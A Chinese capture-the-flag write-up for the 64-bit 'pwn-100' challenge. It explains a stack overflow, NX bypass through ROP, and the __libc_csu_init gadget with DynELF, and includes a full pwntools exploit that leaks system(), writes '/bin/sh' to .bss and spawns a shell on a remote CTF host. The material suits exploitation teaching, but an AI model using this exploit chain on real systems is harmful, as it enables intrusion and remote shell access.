pwn-100

先使用checksec查看文件属性

RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got表

这里只开启了Partial RELRO 和 NX,绕过NX的方法为ROP

NX位(No eXecute bit)是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行。由于该保护方式的使用,直接向内存中写入shellcode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护

关于ROP技术
https://www.jianshu.com/p/f3ebf8a360f0
https://www.cnblogs.com/ichunqiu/p/9288935.html

使用IDA打开程序进行分析

关于read()函数
函数定义:ssize_t read(int fd, void * buf, size_t count);
函数说明:read()会把参数fd所指的文件传送count 个字节到buf 指针所指的内存中

这里a1即是传入的参数v1只有0x40个字节,但read函数可输入200个字节(a2传入的值为200),因此这里存在栈溢出

再查看程序发现没有可用的system()函数,没有 /bin/sh 字符串,也没有libc。但是有put()输出函数,和read()读入函数

破解思路:

利用DynELF模块,借助put()函数构造ROP泄露出system()函数的地址,再借助read()函数构造ROP想内存写入 /bin/sh 字符串,最后调用system("/bin/sh")获取flag

现在来准备一些破解需要的东西

gdb-peda$ vmmap -- 可以用来查看栈、bss段是否可以执行

使用该命令查看可写入 /bin/sh 字符串的地址


binsh_addr = 0x00601000

此程序为64位前六个参数依次保存在RDI, RSI, RDX, RCX, R8 和 R9中,如果还有更多的参数的话才会保存在栈上。

put()函数的参数只有一个,使用gadget1:pop rdi ; ret即可

ROPgadget --binary pwn100 --only "pop|ret" | grep rdi

使用该命令查找gadget1,gadget1_addr = 0x400763

read()函数的参数有三个,我们没有找到类似于类似于pop rdi, ret,pop rsi, ret这样的gadgets,这里就可以使用 x64 下的通用Gadget
详情见:
https://blog.csdn.net/qq_35519254/article/details/76531033
https://xz.aliyun.com/t/5597

只要Linux x64 的程序中调用了 libc.so,程序中就会自带一个很好用的通用Gadget:__libc_csu_init(),程序都会有这个函数用来对libc进行初始化操作,使用以下命令观察这个函数

objdump -d ./pwn-100

gadget2 = 0x40075a ,该段的作用是将栈里的数据依次 pop 到 rbx,rbp,r12,r13,r14,r15
gadget3 = 0x400740 ,该段的作用是将r13,r14,r15中的数据依次复制到rdx,rsi,rdi中,这正是x64传参的前三个寄存器,所以就可以利用这两个gadget给read()的参数进行赋值了
从0x400746这开始将执行 callq *(%r12,%rbx,8)
该内存引用方式为:

segment-override:signed-offset(base,index,scale)
adres = base adres + index * multipler base adres

所以如果bx = 0,我们就可以直接调用 r12 处的函数,则bx应该赋值为0
接着将rbx加一,然后再把rbp与rbx进行比较,如果它们不相等就会跳转到jne处的地址,如果不相等就会继续往下执行。
__libc_csu_init()通用gadget的用法是:将rbp赋值为1,使其与rbx相等不发生跳转,再将后面的栈填充56个'\x00'(这gadget至少需要 56 个字节的栈空间),最后填上要填入返回地址即可

我们还将用到DynELF模板,需要构造一个leak函数,作为其参数,基本框架如下:

DynELF是pwntools中专门用来应对没有libc情况的漏洞利用模块,在提供一个目标程序任意地址内存泄漏函数的情况下,可以解析任意加载库的任意符号地址

puts()函数的情况不同于write()函数,该函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾,需要分两种情况处理
(1)puts输出完后就没有其他输出

(2)puts输出完后还有其他输出

详情见:https://www.meiwen.com.cn/subject/ksiohftx.html

exp:

#!usr/bin/python
# -*- coding:utf-8  -*-
from pwn import *

p = remote('111.198.29.45',34711)
elf = ELF("./pwn-100")

puts_addr = elf.plt['puts']
read_addr = elf.got['read']
start_addr = 0x400550 #返回地址
gadget1_addr = 0x400763 # pop rdi;ret
gadget2_addr = 0x40075A # pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret
gadget3_addr = 0x400740 # mov %r13,%rdx;mov %r14,%rsi;mov %r15d,%edi......
binsh_addr = 0x601000 #写入/bin/sh的地址


def leak(addr):
  payload = "a" * 0x48 #填充到返回地址
  payload += p64(gadget1_addr)
  payload += p64(addr) # rdi = addr
  payload += p64(puts_addr) #ret到puts()函数的地址
  payload += p64(start_addr) #puts()函数结束后的返回地址
  payload = payload.ljust(200,"a") #将payload继续填充到200个字符,否则程序不会进行下一步
  p.send(payload)
  p.recvuntil("bye~\n") #一定在puts()前释放完输出,puts()输出时自动在后面加上/n
  up = ""
  content = ""
  count = 0
  while True:
    c = p.recv(numb = 1, timeout = 0.5)
      #由于接受完标志字符串结束的回车符/n后,就没有其他输出了,故先等待0.5秒中,如果确实接受不到了,就说明输出结束了
      #以便与不是标准字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串""
    count += 1
    if up == '\n' and c == "": #接收到的上一个字符为回车符,而当前接收不到新字符,则
        content = content[:-1] + '\x00' #去除puts函数输出的末尾回车字符
        break
    else:
        content += c
        up = c
  content = content[:4]
  return content

d = DynELF(leak, elf = elf)
system_addr = d.lookup('system','libc')

#调用read()函数
payload = 'a' *0x48
payload += p64(gadget2_addr)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(read_addr) # r12 = read_addr
payload += p64(8) # r13 = 8,count;读入8个字节
payload += p64(binsh_addr) # r14 = binsh_addr,* buf = binsh_adr;读入到binsh所指的内存中去
payload += p64(1) # r15 = 0,fd = 0;标准输入
payload += p64(gadget3_addr)
payload += '\x00' * 56
payload += p64(start_addr)
payload = payload.ljust(200,'b')

#输入/bin/sh
p.send(payload)
p.recvuntil("bye~\n")
p.send("/bin/sh\x00")

#调用system()函数
payload = 'a' * 0x48
payload += p64(gadget1_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,'b')

p.send(payload)
p.interactive()

补充:

ljust()方法语法:
str.ljust(width[, fillchar])
width -- 指定字符串长度
fillchar -- 填充字符,默认为空格
返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,826评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,968评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,234评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,562评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,611评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,482评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,271评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,166评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,608评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,814评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,926评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,644评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,249评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,866评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,991评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,063评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,871评论 2 354